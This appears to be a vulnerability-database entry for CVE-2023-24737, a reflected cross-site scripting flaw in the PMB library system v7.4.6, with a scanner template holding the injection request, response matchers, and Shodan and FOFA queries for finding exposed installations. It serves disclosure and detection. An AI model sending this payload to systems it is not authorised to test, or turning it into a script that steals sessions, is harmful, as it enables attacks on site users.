CVE-2023-24737: PMB v7.4.6 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: PMB v7.4.6 | POC: 已公开

漏洞描述

PMB v7.4.6 allows an attacker to perform a reflected XSS on export_z3950.php via the 'query' parameter.

PoC代码[已公开]

id: CVE-2023-24737

info:
  name: PMB v7.4.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PMB v7.4.6 allows an attacker to perform a reflected XSS on export_z3950.php via the 'query' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/AetherBlack/CVE/blob/main/PMB/readme.md
    - https://github.com/AetherBlack/CVE/tree/main/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24737
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24737
    cwe-id: CWE-79
    epss-score: 0.1156
    epss-percentile: 0.93336
    cpe: cpe:2.3:a:sigb:pmb:7.4.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sigb
    product: pmb
    shodan-query:
      - http.favicon.hash:1469328760
      - http.html:"pmb group"
    fofa-query:
      - body="pmb group"
      - icon_hash=1469328760
  tags: cve2023,cve,xss,pmb,pmb_project,sigb,vuln

http:
  - raw:
      - |
        GET /pmb/admin/convert/export_z3950.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '3@1=<script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e4c04761b5d6aab239405d3724b4ff44cc41671ed9c5b5f00353c10950d5ab6f022100c4e42311a9f5e5648e921d20b0241318aa054d1fa85df46b06b95e6ce79474cf:922c64590222798bb761d5b6d8e72950